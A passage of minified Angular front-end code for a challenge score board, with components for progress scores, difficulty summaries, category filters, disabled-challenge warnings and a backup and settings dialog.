.dot[_ngcontent-%COMP%]{background-color:var(--theme-warn-fade-40)}.category-row[_ngcontent-%COMP%]{color:var(--theme-text-fade-50);font-size:12px;font-weight:600;line-height:14px}.name-row[_ngcontent-%COMP%]{align-items:center;column-gap:6px;display:grid;grid-template-columns:12px auto min-content;margin-top:8px}.name-row[_ngcontent-%COMP%] .dot[_ngcontent-%COMP%]{border-radius:50%;height:14px;width:14px}.name-row[_ngcontent-%COMP%] .name[_ngcontent-%COMP%]{font-size:16px;font-weight:600;line-height:18px}.difficulty[_ngcontent-%COMP%]{display:flex}.description-row[_ngcontent-%COMP%]{color:var(--theme-text-fade-50);font-size:12px;font-weight:400;line-height:14px;margin-top:12px;overflow-y:auto}.bottom-row[_ngcontent-%COMP%]{align-items:end;column-gap:4px;display:grid;grid-template-columns:auto min-content;margin-top:16px}.bottom-row[_ngcontent-%COMP%] .tags[_ngcontent-%COMP%]{display:flex;flex-wrap:wrap;gap:4px}.bottom-row[_ngcontent-%COMP%] .tag[_ngcontent-%COMP%]{background:#3d3d3d;border-radius:1.82849px;color:#5fc091;font-size:10px;font-style:normal;font-weight:400;line-height:14px;padding:6px}.badge-group[_ngcontent-%COMP%]{column-gap:4px;display:flex}.badge[_ngcontent-%COMP%]{align-items:center;background-color:var(--theme-background-lighter);border:0;border-radius:12px;color:var(--theme-text)!important;color:var(--theme-text);cursor:pointer;display:flex;height:24px;justify-content:center;min-width:24px;padding:0;position:relative}.badge[_ngcontent-%COMP%] mat-icon[_ngcontent-%COMP%]{font-size:16px;height:16px;width:16px}.badge[_ngcontent-%COMP%] .badge-status[_ngcontent-%COMP%]{background-color:var(--theme-background-darker);border:1px solid var(--theme-background-light);border-radius:4px;font-size:10px;padding:0 5px;position:absolute;top:-35%}.badge.completed[_ngcontent-%COMP%]{background-color:var(--theme-accent)}.badge.completed[_ngcontent-%COMP%] .badge-status[_ngcontent-%COMP%]{color:var(--theme-accent)}.badge.partially-completed[_ngcontent-%COMP%]{background-color:var(--theme-accent-dark)}.badge.partially-completed[_ngcontent-%COMP%] .badge-status[_ngcontent-%COMP%]{color:var(--theme-accent-dark)}.badge.not-completable[_ngcontent-%COMP%]{background-color:var(--theme-accent)}.badge.not-completable[_ngcontent-%COMP%] .badge-status[_ngcontent-%COMP%]{color:var(--theme-accent)}.badge[_ngcontent-%COMP%]:disabled{background-color:var(--theme-background-light);cursor:not-allowed}.badge[_ngcontent-%COMP%]:disabled .badge-status[_ngcontent-%COMP%]{color:var(--theme-accent)}"]}),n})();const lu=[[["","warning-icon",""]],[["","warning-text",""]],[["","warning-action",""]]],cu=["[warning-icon]","[warning-text]","[warning-action]"];let de=(()=>{class n{}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["warning-card"]],ngContentSelectors:cu,decls:7,vars:0,consts:[[1,"warning-container"],[1,"warning-text-icon-group"],[1,"warning-text"],[1,"warning-action"]],template:function(e,o){1&e&&(t.F$t(lu),t.TgZ(0,"div",0)(1,"div",1),t.Hsn(2),t.TgZ(3,"span",2),t.Hsn(4,1),t.qZA()(),t.TgZ(5,"div",3),t.Hsn(6,2),t.qZA()())},styles:[".warning-container[_ngcontent-%COMP%]{align-items:center;background-color:var(--theme-background-dark);border-radius:4px;display:grid;grid-template-columns:auto min-content;margin-top:16px;padding:12px}@media (max-width: 600px){.warning-container[_ngcontent-%COMP%]{grid-template-columns:auto;row-gap:12px}}.warning-text[_ngcontent-%COMP%]{margin-left:12px;padding-right:8px}.warning-text-icon-group[_ngcontent-%COMP%]{align-items:center;display:grid;grid-template-columns:min-content auto}"]}),n})();function uu(n,a){if(1&n&&t._UZ(0,"i",5),2&n){const e=t.oxw(2);t.Q6J("ngClass","icon-"+e.disabledBecauseOfEnv.toString().toLowerCase())}}function pu(n,a){if(1&n&&t._UZ(0,"i",5),2&n){const e=t.oxw(2);t.Q6J("ngClass","fab fa-"+e.disabledBecauseOfEnv.toString().toLowerCase())}}function du(n,a){1&n&&(t.ynx(0),t._uU(1),t.ALo(2,"translate"),t.BQk()),2&n&&(t.xp6(1),t.hij(" ",t.lcZ(2,1,"SHOW_DISABLED_CHALLENGES")," "))}function mu(n,a){1&n&&(t.ynx(0),t._uU(1),t.ALo(2,"translate"),t.BQk()),2&n&&(t.xp6(1),t.hij(" ",t.lcZ(2,1,"HIDE_DISABLED_CHALLENGES")," "))}const gu=function(n,a){return{num:n,env:a}};function hu(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"warning-card"),t.ynx(1,1),t.YNc(2,uu,1,1,"i",2),t.YNc(3,pu,1,1,"i",2),t.BQk(),t._UZ(4,"span",3),t.ALo(5,"translate"),t.TgZ(6,"button",4),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.toggleShowDisabledChallenges())}),t.YNc(7,du,3,3,"ng-container",0),t.YNc(8,mu,3,3,"ng-container",0),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(2),t.Q6J("ngIf","Windows"!==e.disabledBecauseOfEnv),t.xp6(1),t.Q6J("ngIf","Windows"===e.disabledBecauseOfEnv),t.xp6(1),t.Q6J("innerHTML",t.xi3(5,5,"INFO_DISABLED_CHALLENGES",t.WLB(8,gu,e.numberOfDisabledChallenges,e.disabledBecauseOfEnv)),t.oJD),t.xp6(3),t.Q6J("ngIf",0==e.filterSetting.showDisabledChallenges),t.xp6(1),t.Q6J("ngIf",1==e.filterSetting.showDisabledChallenges)}}let _u=(()=>{class n{constructor(){this.filterSettingChange=new t.vpe,this.numberOfDisabledChallenges=0,this.disabledBecauseOfEnv=null}ngOnChanges(){const e=this.challenges.filter(o=>null!==o.disabledEnv);this.numberOfDisabledChallenges=e.length,this.numberOfDisabledChallenges>0&&(this.disabledBecauseOfEnv=e[0].disabledEnv)}toggleShowDisabledChallenges(){const e={...structuredClone(this.filterSetting),showDisabledChallenges:!this.filterSetting.showDisabledChallenges};this.filterSetting=e,this.filterSettingChange.emit(e)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["challenges-unavailable-warning"]],inputs:{challenges:"challenges",filterSetting:"filterSetting"},outputs:{filterSettingChange:"filterSettingChange"},features:[t.TTD],decls:1,vars:1,consts:[[4,"ngIf"],["warning-icon",""],["class","env-icon",3,"ngClass",4,"ngIf"],["warning-text","",3,"innerHTML"],["warning-action","","mat-button","","color","accent",3,"click"],[1,"env-icon",3,"ngClass"]],template:function(e,o){1&e&&t.YNc(0,hu,9,11,"warning-card",0),2&e&&t.Q6J("ngIf",o.numberOfDisabledChallenges>0)},dependencies:[h.mk,h.O5,x.lW,de,u.X$],styles:[".env-icon[_ngcontent-%COMP%]{font-size:18px;padding:2px}"]}),n})();function fu(n,a){if(1&n&&(t.ynx(0),t._uU(1),t.ALo(2,"number"),t.BQk()),2&n){const e=t.oxw();t.xp6(1),t.hij(" ",t.xi3(2,1,e.score/e.total*100,"1.0-0"),"% ")}}function Cu(n,a){if(1&n&&(t.ynx(0),t._uU(1),t.TgZ(2,"span",6),t._uU(3),t.qZA(),t.BQk()),2&n){const e=t.oxw();t.xp6(1),t.hij(" ",e.score,"/"),t.xp6(2),t.Oqu(e.total)}}function vu(n,a){if(1&n&&(t.TgZ(0,"div",7),t._UZ(1,"div",8),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Udp("width",e.score/e.total*100+"%")}}const xu=[[["","right-side",""]]],bu=["[right-side]"];let me=(()=>{class n{constructor(){this.showAsPercentage=!0,this.showProgressBar=!0}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["score-card"]],inputs:{description:"description",total:"total",score:"score",showAsPercentage:"showAsPercentage",showProgressBar:"showProgressBar"},ngContentSelectors:bu,decls:9,vars:4,consts:[[1,"score-group"],[1,"score"],[4,"ngIf"],[1,"category"],["class","progress-bar-container",4,"ngIf"],[1,"right-group"],[1,"fraction-total"],[1,"progress-bar-container"],[1,"progress-bar"]],template:function(e,o){1&e&&(t.F$t(xu),t.TgZ(0,"div",0)(1,"p",1),t.YNc(2,fu,3,4,"ng-container",2),t.YNc(3,Cu,4,2,"ng-container",2),t.qZA(),t.TgZ(4,"p",3),t._uU(5),t.qZA(),t.YNc(6,vu,2,2,"div",4),t.qZA(),t.TgZ(7,"div",5),t.Hsn(8),t.qZA()),2&e&&(t.xp6(2),t.Q6J("ngIf",1==o.showAsPercentage),t.xp6(1),t.Q6J("ngIf",0==o.showAsPercentage),t.xp6(2),t.Oqu(o.description),t.xp6(1),t.Q6J("ngIf",!0===o.showProgressBar))},dependencies:[h.O5,h.JJ],styles:["[_nghost-%COMP%]{background-color:var(--theme-background-dark);border-radius:4px;display:grid;grid-template-columns:auto min-content;height:100%}.score-group[_ngcontent-%COMP%]{display:flex;flex-direction:column;justify-content:center;padding:16px 0 16px 16px}.score-group[_ngcontent-%COMP%] .score[_ngcontent-%COMP%]{color:var(--theme-text);font-size:32px;font-style:normal;font-weight:500;line-height:42px;margin-bottom:0}.score-group[_ngcontent-%COMP%] .fraction-total[_ngcontent-%COMP%]{color:var(--theme-text-dark);font-size:16px;line-height:26px}.score-group[_ngcontent-%COMP%] .category[_ngcontent-%COMP%]{color:var(--theme-text);font-size:20px;font-style:normal;font-weight:500;line-height:23px}.progress-bar-container[_ngcontent-%COMP%]{background-color:var(--theme-background-lighter);border-radius:3px;max-width:200px;overflow:hidden}.progress-bar-container[_ngcontent-%COMP%] .progress-bar[_ngcontent-%COMP%]{background-color:var(--theme-accent);height:8px}"]}),n})(),Tu=(()=>{class n{constructor(){this.allChallenges=[]}ngOnInit(){this.updatedNumberOfSolvedChallenges()}ngOnChanges(e){this.updatedNumberOfSolvedChallenges()}updatedNumberOfSolvedChallenges(){const e=this.allChallenges.filter(o=>o.hasCodingChallenge);this.solvedCodingChallenges=e.map(o=>o.codingChallengeStatus).reduce((o,i)=>o+i,0),this.availableCodingChallenges=2*e.length}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["coding-challenge-progress-score-card"]],inputs:{allChallenges:"allChallenges"},features:[t.TTD],decls:10,vars:6,consts:[[3,"description","total","score","showAsPercentage"],["right-side","",1,"icon-group"],["width","74","height","85","viewBox","0 0 74 85","fill","none","xmlns","http://www.w3.org/2000/svg"],["clip-path","url(#clip0_2_635)"],["d","M69.2371 41.1778C68.9506 40.8702 68.6049 40.6235 68.2209 40.4524C67.8369 40.2813 67.4224 40.1893 67.0021 40.1819C66.5817 40.1745 66.1642 40.2518 65.7744 40.4092C65.3846 40.5667 65.0305 40.801 64.7332 41.0983C64.436 41.3956 64.2016 41.7497 64.0442 42.1395C63.8867 42.5293 63.8094 42.9468 63.8168 43.3671C63.8242 43.7875 63.9162 44.202 64.0873 44.586C64.2584 44.97 64.5051 45.3156 64.8127 45.6022L65.5265 46.3201C68.3731 49.1668 70.2806 51.0785 71.512 52.698C72.6932 54.2424 72.9603 55.1439 72.9603 55.912C72.9603 56.68 72.6932 57.5816 71.512 59.1259C70.2806 60.7413 68.3731 62.6571 65.5265 65.5038L64.8127 66.2217C64.5051 66.5083 64.2584 66.8539 64.0873 67.2379C63.9162 67.6219 63.8242 68.0365 63.8168 68.4568C63.8094 68.8771 63.8867 69.2947 64.0442 69.6845C64.2016 70.0743 64.436 70.4284 64.7332 70.7256C65.0305 71.0229 65.3846 71.2572 65.7744 71.4147C66.1642 71.5721 66.5817 71.6495 67.0021 71.642C67.4224 71.6346 67.8369 71.5426 68.2209 71.3715C68.6049 71.2004 68.9506 70.9537 69.2371 70.6462L70.1095 69.778C72.76 67.1275 74.9722 64.9153 76.4915 62.9243C78.0944 60.8206 79.2213 58.6 79.2213 55.912C79.2213 53.2239 78.0944 51.0033 76.4915 48.8997C74.9722 46.9087 72.76 44.6964 70.1053 42.046L69.2371 41.1778ZM58.6269 32.7296C59.428 32.9448 60.1111 33.4692 60.5259 34.1877C60.9406 34.9062 61.0533 35.7599 60.8391 36.5613L50.0368 76.8821C49.9302 77.2792 49.7464 77.6515 49.4959 77.9776C49.2454 78.3037 48.9332 78.5772 48.577 78.7827C47.8576 79.1975 47.0029 79.3096 46.2009 79.0943C45.3988 78.879 44.7152 78.3539 44.3003 77.6345C43.8855 76.9152 43.7733 76.0605 43.9887 75.2584L54.791 34.9418C54.8975 34.5442 55.0814 34.1715 55.3321 33.845C55.5828 33.5186 55.8955 33.2447 56.2522 33.0393C56.6089 32.8338 57.0026 32.7007 57.4108 32.6475C57.819 32.5944 58.2336 32.6223 58.631 32.7296H58.6269ZM40.0192 41.1778C39.4322 40.5915 38.6366 40.2622 37.807 40.2622C36.9774 40.2622 36.1817 40.5915 35.5948 41.1778L34.7266 42.046C32.0719 44.6964 29.8597 46.9087 28.3404 48.8997C26.7375 51.0033 25.6147 53.2239 25.6147 55.912C25.6147 58.6 26.7417 60.8206 28.3404 62.9243C29.8597 64.9153 32.0719 67.1275 34.7266 69.778L35.5948 70.6462C36.1882 71.1991 36.9731 71.5002 37.7841 71.4859C38.5951 71.4716 39.3689 71.143 39.9425 70.5694C40.516 69.9959 40.8446 69.2221 40.8589 68.4111C40.8732 67.6001 40.5722 66.8152 40.0192 66.2217L39.3054 65.5038C36.4588 62.6571 34.5554 60.7454 33.3199 59.1259C32.1387 57.5816 31.8757 56.68 31.8757 55.912C31.8757 55.1439 32.1387 54.2424 33.3199 52.698C34.5554 51.0827 36.4588 49.1668 39.3054 46.3201L40.0234 45.6022C40.6096 45.0152 40.9389 44.2196 40.9389 43.39C40.9389 42.5604 40.6096 41.7647 40.0234 41.1778H40.0192Z","fill","var(--theme-text)","fill-opacity","0.12"],["fill-rule","evenodd","clip-rule","evenodd","d","M52.4188 11.0416C27.6378 11.0416 7.54834 31.1311 7.54834 55.912C7.54834 80.693 27.6378 100.782 52.4188 100.782C77.1998 100.782 97.2892 80.693 97.2892 55.912C97.2892 31.1311 77.1998 11.0416 52.4188 11.0416ZM13.8093 55.912C13.8093 45.6722 17.8771 35.8517 25.1178 28.6111C32.3584 21.3704 42.1789 17.3026 52.4188 17.3026C62.6586 17.3026 72.4791 21.3704 79.7197 28.6111C86.9604 35.8517 91.0282 45.6722 91.0282 55.912C91.0282 66.1519 86.9604 75.9724 79.7197 83.213C72.4791 90.4537 62.6586 94.5215 52.4188 94.5215C42.1789 94.5215 32.3584 90.4537 25.1178 83.213C17.8771 75.9724 13.8093 66.1519 13.8093 55.912Z","fill","var(--theme-text)","fill-opacity","0.12"],["id","clip0_2_635"],["width","106","height","106","fill","var(--theme-text)"]],template:function(e,o){1&e&&(t.TgZ(0,"score-card",0),t.ALo(1,"translate"),t.TgZ(2,"div",1),t.O4$(),t.TgZ(3,"svg",2)(4,"g",3),t._UZ(5,"path",4)(6,"path",5),t.qZA(),t.TgZ(7,"defs")(8,"clipPath",6),t._UZ(9,"rect",7),t.qZA()()()()()),2&e&&t.Q6J("description",t.lcZ(1,4,"TITLE_CODING_CHALLENGES"))("total",o.availableCodingChallenges)("score",o.solvedCodingChallenges)("showAsPercentage",!0)},dependencies:[me,u.X$],styles:[".icon-group[_ngcontent-%COMP%]{align-items:flex-end;display:flex;height:100%;justify-content:flex-end}"]}),n})();function Au(n,a){1&n&&(t.O4$(),t._UZ(0,"stop",14))}function yu(n,a){if(1&n&&(t.O4$(),t._UZ(0,"stop",8)),2&n){const e=t.oxw().$implicit;t.uIk("offset",e.solvedChallenges/e.availableChallenges*100+"%")}}function Zu(n,a){if(1&n&&(t.TgZ(0,"div",3)(1,"div",4),t.O4$(),t.TgZ(2,"svg",5),t._UZ(3,"path",6),t.TgZ(4,"defs")(5,"linearGradient",7),t._UZ(6,"stop",8),t.YNc(7,Au,1,0,"stop",9),t.YNc(8,yu,1,1,"stop",10),t._UZ(9,"stop",8)(10,"stop",11),t.qZA()()(),t.kcU(),t.TgZ(11,"span",12),t._uU(12),t.qZA()(),t.TgZ(13,"span"),t._uU(14),t.TgZ(15,"span",13),t._uU(16),t.qZA()()()),2&n){const e=a.$implicit;t.xp6(3),t.uIk("fill","url(#solved-gradient-"+e.difficulty+")"),t.xp6(2),t.uIk("id","solved-gradient-"+e.difficulty),t.xp6(2),t.Q6J("ngIf",0===e.availableChallenges),t.xp6(1),t.Q6J("ngIf",0!==e.availableChallenges),t.xp6(4),t.Oqu(e.difficulty),t.xp6(2),t.hij(" ",e.solvedChallenges,"/"),t.xp6(2),t.Oqu(e.availableChallenges)}}const wu=Object.freeze({1:{difficulty:1,availableChallenges:0,solvedChallenges:0},2:{difficulty:2,availableChallenges:0,solvedChallenges:0},3:{difficulty:3,availableChallenges:0,solvedChallenges:0},4:{difficulty:4,availableChallenges:0,solvedChallenges:0},5:{difficulty:5,availableChallenges:0,solvedChallenges:0},6:{difficulty:6,availableChallenges:0,solvedChallenges:0}});let Su=(()=>{class n{constructor(){this.allChallenges=[],this.difficultySummaries=[{difficulty:1,availableChallenges:0,solvedChallenges:0},{difficulty:2,availableChallenges:0,solvedChallenges:0},{difficulty:3,availableChallenges:0,solvedChallenges:0},{difficulty:4,availableChallenges:0,solvedChallenges:0},{difficulty:5,availableChallenges:0,solvedChallenges:0},{difficulty:6,availableChallenges:0,solvedChallenges:0}]}ngOnInit(){this.updatedNumberOfSolvedChallenges()}ngOnChanges(e){this.updatedNumberOfSolvedChallenges()}updatedNumberOfSolvedChallenges(){const e=this.allChallenges.filter(r=>r.solved).length,o=this.allChallenges.filter(r=>r.hasCodingChallenge),i=o.map(r=>r.codingChallengeStatus).reduce((r,l)=>r+l,0);this.difficultySummaries=n.calculateDifficultySummaries(this.allChallenges),this.totalChallenges=this.allChallenges.length+2*o.length,this.solvedChallenges=e+i}static calculateDifficultySummaries(e){const o=structuredClone(wu);for(const i of e)o[i.difficulty].availableChallenges+=i.hasCodingChallenge?3:1,i.solved&&(o[i.difficulty].solvedChallenges++,o[i.difficulty].solvedChallenges+=i.hasCodingChallenge?i.codingChallengeStatus:0);return Object.values(o).sort((i,r)=>i.difficulty-r.difficulty)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["difficulty-overview-score-card"]],inputs:{allChallenges:"allChallenges"},features:[t.TTD],decls:4,vars:8,consts:[[3,"description","total","score","showAsPercentage","showProgressBar"],["right-side","",1,"difficulties-group"],["class","difficulty-container",4,"ngFor","ngForOf"],[1,"difficulty-container"],[1,"star-container"],["width","28","height","25","viewBox","0 0 28 25","fill","none","xmlns","http://www.w3.org/2000/svg"],["d","M12.6496 1.25874L9.57854 7.48541L2.70757 8.48713C1.4754 8.66584 0.981596 10.1849 1.87515 11.0549L6.84614 15.8989L5.67041 22.7417C5.45878 23.9786 6.76149 24.905 7.85257 24.3266L13.9993 21.0957L20.146 24.3266C21.2371 24.9003 22.5398 23.9786 22.3282 22.7417L21.1524 15.8989L26.1234 11.0549C27.017 10.1849 26.5232 8.66584 25.291 8.48713L18.42 7.48541L15.349 1.25874C14.7988 0.148847 13.2045 0.134738 12.6496 1.25874Z"],["x1","0","x2","0","y1","1","y2","0"],["stop-color","var(--theme-accent)"],["offset","0%","stop-color","var(--theme-accent)",4,"ngIf"],["stop-color","var(--theme-accent)",4,"ngIf"],["stop-color","var(--theme-primary)"],[1,"star-difficulty-label"],[1,"total-challenges"],["offset","0%","stop-color","var(--theme-accent)"]],template:function(e,o){1&e&&(t.TgZ(0,"score-card",0),t.ALo(1,"translate"),t.TgZ(2,"div",1),t.YNc(3,Zu,17,7,"div",2),t.qZA()()),2&e&&(t.Q6J("description",t.lcZ(1,6,"TITLE_CHALLENGES_SOLVED"))("total",o.totalChallenges)("score",o.solvedChallenges)("showAsPercentage",!1)("showProgressBar",!1),t.xp6(3),t.Q6J("ngForOf",o.difficultySummaries))},dependencies:[h.sg,h.O5,me,u.X$],styles:["@media (max-width: 810px){[_nghost-%COMP%]{grid-column:span 2}}@media (max-width: 600px){[_nghost-%COMP%]{grid-column:span 1}}.difficulties-group[_ngcontent-%COMP%]{background-color:var(--theme-background-darkest);border-radius:4px;color:var(--theme-text);column-gap:12px;display:grid;grid-template-columns:1fr 1fr 1fr;height:calc(100% - 24px);margin:4px;padding:8px 12px;row-gap:2px}.difficulties-group[_ngcontent-%COMP%] .difficulty-container[_ngcontent-%COMP%]{align-items:center;display:flex;flex-direction:column;justify-content:center}.difficulties-group[_ngcontent-%COMP%] .total-challenges[_ngcontent-%COMP%]{color:var(--theme-text-invert-30)}.star-container[_ngcontent-%COMP%]{align-items:center;display:flex;justify-content:center}.star-container[_ngcontent-%COMP%] .star-difficulty-label[_ngcontent-%COMP%]{font-size:11px;line-height:11px;margin-top:2px;position:absolute}"]}),n})();var ku=c(591);const Ve="score-board-version";let ge=(()=>{class n{constructor(){this.defaultScoreBoard$=new ku.X("v2");const e=localStorage.getItem(Ve);e&&this.defaultScoreBoard$.next(e)}setDefaultScoreBoard(e){this.defaultScoreBoard$.next(e),localStorage.setItem(Ve,e)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Iu=(()=>{class n{constructor(e,o,i){this.dialogRef=e,this.featureFlagService=o,this.localBackupService=i,this.scoreBoardVersion=null,this.subscriptions=[]}ngOnInit(){var e=this;return(0,w.Z)(function*(){const o=e.featureFlagService.defaultScoreBoard$.subscribe(i=>{e.scoreBoardVersion=i});e.subscriptions.push(o)})()}ngOnDestroy(){for(const e of this.subscriptions)e.unsubscribe()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.so),t.Y36(ge),t.Y36(Le))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["score-board-additional-settings-dialog"]],decls:42,vars:11,consts:[[1,"mat-typography"],["mat-dialog-title","","translate",""],[1,"settings"],[1,"setting-group"],["translate",""],[1,"setting"],["mat-flat-button","","color","primary",3,"click"],["type","file",2,"display","none",3,"change"],["restoreBackupFile",""],["aria-label","Default ScoreBoard",3,"value","change"],["value","v1"],["value","v2"],["mat-flat-button","","cdkFocusInitial","",3,"mat-dialog-close"]],template:function(e,o){if(1&e){const i=t.EpF();t.TgZ(0,"mat-dialog-content",0)(1,"h1",1),t._uU(2,"SCOREBOARD_ADDITIONAL_SETTINGS"),t.qZA(),t.TgZ(3,"div",2)(4,"div",3)(5,"h2",4),t._uU(6,"BACKUP_HEADLINE"),t.qZA(),t.TgZ(7,"div",5)(8,"span",4),t._uU(9,"SAVE_BACKUP_TOOLTIP"),t.qZA(),t.TgZ(10,"button",6),t.NdJ("click",function(){return o.localBackupService.save()}),t.TgZ(11,"mat-icon"),t._uU(12,"save_alt"),t.qZA(),t.TgZ(13,"span",4),t._uU(14,"BTN_SAVE_BACKUP"),t.qZA()()(),t.TgZ(15,"div",5)(16,"input",7,8),t.NdJ("change",function(l){return o.localBackupService.restore(l.target.files.item(0))}),t.qZA(),t.TgZ(18,"span",4),t._uU(19,"RESTORE_BACKUP_TOOLTIP"),t.qZA(),t.TgZ(20,"button",6),t.NdJ("click",function(){t.CHM(i);const l=t.MAs(17);return t.KtG(l.click())}),t.TgZ(21,"mat-icon"),t._uU(22,"settings_backup_restore"),t.qZA(),t.TgZ(23,"span",4),t._uU(24,"BTN_RESTORE_BACKUP"),t.qZA()()()(),t.TgZ(25,"div",3)(26,"h2",4),t._uU(27,"FEATURE_FLAG_DEFAULT_SCORE_BOARD_NAME"),t.qZA(),t.TgZ(28,"div",5)(29,"span",4),t._uU(30,"FEATURE_FLAG_DEFAULT_SCORE_BOARD_DESCRIPTION"),t.qZA(),t.TgZ(31,"mat-radio-group",9),t.NdJ("change",function(l){return o.featureFlagService.setDefaultScoreBoard(l.value)}),t.TgZ(32,"mat-radio-button",10),t._uU(33),t.ALo(34,"translate"),t.qZA(),t.TgZ(35,"mat-radio-button",11),t._uU(36),t.ALo(37,"translate"),t.qZA()()()()(),t.TgZ(38,"mat-dialog-actions")(39,"button",12),t._uU(40),t.ALo(41,"translate"),t.qZA()()()}2&e&&(t.xp6(31),t.Q6J("value",o.scoreBoardVersion),t.xp6(2),t.Oqu(t.lcZ(34,5,"FEATURE_FLAG_DEFAULT_SCORE_BOARD_VALUE_OLD")),t.xp6(3),t.Oqu(t.lcZ(37,7,"FEATURE_FLAG_DEFAULT_SCORE_BOARD_VALUE_NEW")),t.xp6(3),t.Q6J("mat-dialog-close",null),t.xp6(1),t.hij(" ",t.lcZ(41,9,"BTN_CLOSE")," "))},dependencies:[x.lW,N.ZT,N.uh,N.xY,N.H8,F.Hw,nt.VQ,nt.U0,u.Pi,u.X$],styles:["mat-dialog-content[_ngcontent-%COMP%]{display:grid;grid-template-rows:min-content 1fr min-content;height:100%;overflow:visible}.mat-radio-button[_ngcontent-%COMP%] ~ .mat-radio-button[_ngcontent-%COMP%]{margin-left:16px}mat-dialog-actions[_ngcontent-%COMP%]{display:flex;flex-direction:row-reverse}h1[_ngcontent-%COMP%]{margin-bottom:24px}.settings[_ngcontent-%COMP%]{min-height:400px;overflow-y:auto}.setting-group[_ngcontent-%COMP%]{border-bottom:3px solid var(--theme-background-lighter);margin-bottom:16px}.setting-group[_ngcontent-%COMP%] h2[_ngcontent-%COMP%]{font-size:18px;margin-bottom:8px}.setting-group[_ngcontent-%COMP%]:last-child{border-bottom:unset;margin-bottom:0}.setting[_ngcontent-%COMP%]{align-items:center;display:grid;gap:16px;grid-template-columns:auto max-content;margin-bottom:16px}button[_ngcontent-%COMP%] mat-icon[_ngcontent-%COMP%]{margin-right:8px}"]}),n})();const Xe=function(n){return{selected:n}};function Ou(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",2),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.toggleCategorySelected(r))}),t.ALo(1,"translate"),t._uU(2),t.qZA()}if(2&n){const e=a.$implicit,o=t.oxw();t.Q6J("ngClass",t.VKq(5,Xe,o.isCategorySelected(e)))("matTooltip",t.lcZ(1,3,"CATEGORY_"+e.toUpperCase().split(" ").join("_")+"_DESCRIPTION")),t.xp6(2),t.hij(" ",e,"\\n")}}let Uu=(()=>{class n{constructor(){this.availableCategories=new Set,this.categoriesChange=new t.vpe}ngOnInit(){this.availableCategories=n.getAvailableCategories(this.allChallenges)}ngOnChanges(){this.availableCategories=n.getAvailableCategories(this.allChallenges)}static getAvailableCategories(e){return new Set(e.map(o=>o.category))}toggleCategorySelected(e){this.isCategorySelected(e)?this.categories=this.categories.filter(o=>o!==e):this.categories.push(e),this.categoriesChange.emit(this.categories)}isCategorySelected(e){return this.categories.includes(e)}isAllCategoriesSelected(){return 0===this.categories.length}resetCategoryFilter(){this.categories=qt.categories,this.categoriesChange.emit(this.categories)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["category-filter"]],inputs:{allChallenges:"allChallenges",categories:"categories"},outputs:{categoriesChange:"categoriesChange"},features:[t.TTD],decls:3,vars:4,consts:[[1,"pill","selected",3,"ngClass","click"],["class","pill",3,"ngClass","matTooltip","click",4,"ngFor","ngForOf"],[1,"pill",3,"ngClass","matTooltip","click"]],template:function(e,o){1&e&&(t.TgZ(0,"button",0),t.NdJ("click",function(){return o.resetCategoryFilter()}),t._uU(1," All\\n"),t.qZA(),t.YNc(2,Ou,3,7,"button",1)),2&e&&(t.Q6J("ngClass",t.VKq(2,Xe,o.isAllCategoriesSelected())),t.xp6(2),t.Q6J("ngForOf",o.availableCategories))},dependencies:[h.mk,h.sg,Q.gM,u.X$],styles:["[_nghost-%COMP%]{display:flex;flex-direction:row;flex-wrap:wrap;gap:8px;margin:24px 0}.pill[_ngcontent-%COMP%]{background-color:var(--theme-primary-darker);border:1px solid transparent;border-radius:234234px;color:var(--theme-text);cursor:pointer;font-size:14px;font-weight:600;line-height:19px;padding:8px 16px}.pill.selected[_ngcontent-%COMP%]{background-color:var(--theme-accent-dark);border:1px solid var(--theme-accent);color:var(--theme-text-invert-15)}"]}),n})(),Lu=(()=>{class n{transform(e){if(0===e.length)return"";const i=function Pu(n){const a=[];let e=null;for(const o of n)null===e?e={start:o,end:o}:o===e.end+1?e.end=o:(a.push(e),e={start:o,end:o});return a.push(e),a}((0,Ke.Z)(e));return function Nu(n){return n.map(a=>a.start===a.end?a.start.toString():`${a.start} - ${a.end}`).join(", ")}(i)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275pipe=t.Yjl({name:"difficultySelectionSummary",type:n,pure:!0}),n})();function Eu(n,a){1&n&&(t.ynx(0),t._uU(1),t.ALo(2,"translate"),t.BQk()),2&n&&(t.xp6(1),t.hij(" ",t.lcZ(2,1,"LABEL_DIFFICULTY")," "))}function Mu(n,a){if(1&n&&(t.TgZ(0,"span"),t._uU(1),t.ALo(2,"difficultySelectionSummary"),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.hij(" ",t.lcZ(2,1,e.filterSetting.difficulties)," ")}}function Du(n,a){if(1&n&&(t.TgZ(0,"mat-option",8),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.Q6J("value",e),t.xp6(1),t.Oqu(e)}}let qu=(()=>{class n{constructor(e){this.dialog=e,this.filterSettingChange=new t.vpe,this.tags=new Set}ngOnChanges(){this.tags=new Set(this.allChallenges.flatMap(e=>e.tagList))}onDifficultyFilterChange(e){const o=structuredClone(this.filterSetting);o.difficulties=e,this.filterSettingChange.emit(o)}onStatusFilterChange(e){const o=structuredClone(this.filterSetting);o.status=e,this.filterSettingChange.emit(o)}onTagFilterChange(e){const o=structuredClone(this.filterSetting);o.tags=e,this.filterSettingChange.emit(o)}onCategoryFilterChange(e){const 